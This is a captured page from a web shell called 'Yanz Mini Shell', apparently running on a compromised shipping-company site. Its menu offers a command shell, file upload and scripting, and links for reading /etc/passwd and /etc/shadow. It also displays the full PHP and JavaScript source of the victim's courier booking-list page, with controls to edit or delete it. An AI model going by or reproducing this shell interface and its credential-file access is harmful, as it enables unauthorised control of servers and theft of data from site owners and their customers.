Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
input-mask
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php require_once('header.php'); ?> <section class="content-header"> <div class='box-body' style="margin: 0px 0px;box-shadow: rgba(0, 0, 0, 0.19) 0px 10px 20px, rgba(0, 0, 0, 0.23) 0px 6px 6px;background-color: white;"> <div class="row"> <div class="col-md-4" style="text-align: left;"> <h4><i class="fa fa-list"></i> Booking Details</h4> </div> <div class="col-md-8" style="text-align: right;"> <a href="shipment-create.php" class="btn btn-success btn-sm" style="cursor: pointer;"><i class="fa fa-plus"></i> Create Shipment</a> <a href="shipment-create.php" class="btn btn-warning btn-sm"><i class="fa fa-upload"></i> Bulk Upload</a> <a href="booking-list.php" class="btn btn-primary btn-sm"><i class="fa fa-arrow-left"></i> Back to Home</a> </div> </div> <div class="row"> <div class='col-md-3 col-sm-6'> <label for="to">Select Branch:</label> <select class="form-control select2" name="branch_id" id="branch_id"> </select> </div> <div class="col-md-3"> <label>Select Client <span style='color:red;'>*</span></label> <select name="new_client" id="new_client" class="form-control select2"> </select> </div> <div class='col-md-3 col-sm-6'> <label for="to">Select Consigner:</label> <select class="form-control select2" name="client_id" id="client_id"> </select> </div> <div class='col-md-3 col-sm-6'> <label for="to">Select Courier Company:</label> <select class="form-control select2" name="courier_id" id="courier_id"> </select> </div> </div> <div class="row" style="margin-top:5px;"> <div class='col-md-2 col-sm-6'> <label for="to">Select Consignee:</label> <select class="form-control select2" name="customer_id" id="customer_id"> </select> </div> <div class='col-md-2 col-sm-6'> <label for="to">Select Shipment Status:</label> <select class="form-control select2" name="status" id="status"> <option value="all">All</option> <?php $statement = $pdo->prepare("SELECT * FROM `tbl_status` WHERE status=1 "); $statement->execute(); $result = $statement->fetchAll(PDO::FETCH_ASSOC); foreach($result as $data){ ?> <option value="<?=$data['id']?>"><?=$data['name']?></option> <?php } ?> </select> </div> <div class='col-md-2 col-sm-6'> <label for="from">From Date:</label> <input type="date" id="from_date" class="form-control" value="<?=$startMonthDate?>" name="from_date"> </div> <div class='col-md-2 col-sm-6'> <label for="to">To Date:</label> <input type="date" id="to_date" class="form-control" value="<?php echo date("Y-m-d") ?>" name="to_date"> </div> <div class='col-md-3 col-sm-6'> <label for="to">Action :</label><br> <span id="filter_table" name="sd" class="btn btn-sm btn-warning"><i class="fa fa-filter"></i> Filter</span> <button id="get_report" name="date_select" type="submit" class="btn btn-sm btn-primary"><i class="fa fa-download"></i> Export As Excel</button> </div> </div> </div> </section> <section class="content-header"> <div class='box-body' style="margin: 0px 0px;box-shadow: rgba(0, 0, 0, 0.19) 0px 10px 20px, rgba(0, 0, 0, 0.23) 0px 6px 6px;background-color: white;"> <div class="box-body table-responsive"> <table id="employee-grid" class="table table-bordered table-striped"> <thead style="color:gray;"> <tr> <th style="min-width:250px;" data-sortable= false><i class="fa fa-check"></i><input type="checkbox" id="select_all" /> Details</th> <th style="min-width:250px;" data-sortable= false>Shipment Info</th> <th style="min-width:350px;" data-sortable= false>Shipper Info</th> <th style="min-width:350px;" data-sortable= false>Receiver Info</th> <!-- <th style="min-width:350px;" data-sortable= false>Pickup Address</th>--> <th style="min-width:350px;" data-sortable= false>RTO Address</th> <!-- <th>Shipper City</th> <th>Shipper State</th> <th>Shipper Phone</th> <th>Shipper Pincode</th> <th>Consignee Name</th> <th>Consignee Address</th> <th>Consignee City</th> <th>Consignee State</th> <th>Consignee Phone</th> <th>Consignee Pincode</th> <th>Volumetric Weight</th> <th>Volumetric Length</th> <th>Volumetric Breadth</th> <th>Volumetric Height</th> <th>Collectable Amount</th> <th>Product Description</th> <th>Quantity</th> <th>Boxes</th> <th>Invoice Value</th> <th>Taxable Value</th> <th>Hsn Code</th> <th>Discount</th> <th>Gst Amount</th> <th>MRP</th> <th>Ewaybill</th> <th>Actual Weight</th> <th>Charged Weight</th> <th>Gst Type</th> <th>Buyer Gst</th> <th>Seller Gst</th> <th>RTO Name</th> <th>RTO Address</th> <th>RTO City</th> <th>RTO State</th> <th>RTO Phone</th> <th>RTO Pincode</th> <th>Date Added</th>--> </tr> </thead> </table> </div> <br> <div class="content-footer-center" style="text-align:left;"> <button class="btn btn-success btn-sm" onclick="redirectTo();"><i class="fa fa-print"></i> Print AWB Number</button> <button class="btn btn-warning btn-sm" onclick="redirectTolable();" style="display:none;"><i class="fa fa-print"></i> Print Label</button> <button class="btn btn-danger btn-sm" id="btn_delete_shipments"><i class="fa fa-trash-o"></i> Delete Pickup Entry</button> </div> </div> </section> <script> $(document).ready(function() { get_branch(); get_courier(); get_customer() getData(); $('#branch_id').on('change', function(){ get_client(); get_new_client(); }); $('#client_id').on('change', function(){ get_customer(); }); $('#filter_table').on('click', function(){ getData(); }); }); function getData() { var status = $('#status').val(); var from_date = $('#from_date').val(); var to_date = $('#to_date').val(); var status = $('#status').val(); var client_id = $('#client_id').val(); var new_client = $('#new_client').val(); var branch_id = $('#branch_id').val(); var courier_id = $('#courier_id').val(); var customer_id = $('#customer_id').val(); var dataTable = $('#employee-grid').DataTable( { "processing": true, "serverSide": true, "bDestroy": true, "aaSorting":[[0,'desc']], "ajax":{ url :"data-tables/booking-entry-dt.php", data: {status:status,from_date:from_date,to_date:to_date,client_id:client_id,branch_id:branch_id,courier_id:courier_id,customer_id:customer_id,new_client:new_client}, type: "post", error: function(){ $(".employee-grid-error").html(""); $("#employee-grid").append('<tbody class="employee-grid-error"><tr><th colspan="3">No data found in the server</th></tr></tbody>'); $("#employee-grid_processing").css("display","none"); } } }); } function get_branch(){ $('#branch_id').empty(); $.ajax({ url: 'apis/get-drop-down-list.php', type: 'post', data: {type:'get_branch_dropdown'}, success:function(response){ $('#branch_id').empty(); $('#branch_id').append(response); get_client(); get_new_client(); } }); } function get_client(){ $('#client_id').empty(); var branch_id=$('#branch_id').val(); $.ajax({ url: 'apis/get-drop-down-list.php', type: 'post', data: {type:'get_client_dropdown',branch_id:branch_id}, success:function(response){ $('#client_id').empty(); $('#client_id').append(response); } }); } function get_new_client(){ $('#new_client').empty(); var branch_id=$('#branch_id').val(); console.log('New Client Id Change'); $.ajax({ url: 'apis/get-drop-down-list.php', type: 'post', data: {type:'get_new_client_dropdown',branch_id:branch_id}, success:function(response){ $('#new_client').empty(); $('#new_client').append(response); } }); } function get_courier(){ $('#courier_id').empty(); $.ajax({ url: 'apis/get-drop-down-list.php', type: 'post', data: {type:'get_courier_dropdown'}, success:function(response){ $('#courier_id').empty(); $('#courier_id').append(response); } }); } function get_customer(){ $('#customer_id').empty(); var client_id=$('#client_id').val(); $.ajax({ url: 'apis/get-drop-down-list.php', type: 'post', data: {type:'get_customer_dropdown',client_id:client_id}, success:function(response){ $('#customer_id').empty(); $('#customer_id').append(response); } }); } </script> <script> $(document).ready(function() { $('#select_all').on('click',function(){ if(this.checked){ $('.checkbox').each(function(){ this.checked = true; }); }else{ $('.checkbox').each(function(){ this.checked = false; }); } }); $('.checkbox').on('click',function(){ if($('.checkbox:checked').length == $('.checkbox').length){ $('#select_all').prop('checked',true); }else{ $('#select_all').prop('checked',false); } }); $('#btn_delete_shipments').on('click',function(){ var checkValues = $('input[name=checkboxlist]:checked').map(function(){ return $(this).val(); }).get(); if(checkValues != ''){ var r = confirm("Confirm if You Want to Delete Those Pickup Entry?"); if (r == true) { var ids=[]; ids = checkValues; console.log('Delete ids :'+ids); $.ajax({ url: 'data-tables/custom-function.php', type: 'post', data: {type:'delete_pickup_entry',delete_id:ids}, success: function(response){ console.log(response); //alert("test..."); //$('#status').val(0); getData(); } }); } //window.location.href="shipment-picked.php?shipment_id="+ids+"&status="+status; }else{ alert("Pls Select Min One Pickup Entry to Delete..."); } }); $("#client_id").select2(); $("#set_status").select2(); getData(); $('#get_report').on('click', function(){ var from_date= $('#from').val(); if(from_date){ getData(); } else { alert('Select a Date !!'); } } ); } ); function redirectTo(){ var checkValues = $('input[name=checkboxlist]:checked').map(function() { return $(this).val(); }).get(); // alert(checkValues); var ids=[]; ids = checkValues; // some thing like this you can set value for 1st Param. window.open("awb_number_print.php?list_id=" + ids, '_blank'); } function redirectTolable(){ var checkValues = $('input[name=checkboxlist]:checked').map(function() { return $(this).val(); }).get(); // alert(checkValues); var ids=[]; ids = checkValues; // some thing like this you can set value for 1st Param. window.location.href="cargo-lable-print.php?list_id="+ids; } </script> <?php require_once('footer.php'); ?>
Free Space : 12101754880 Byte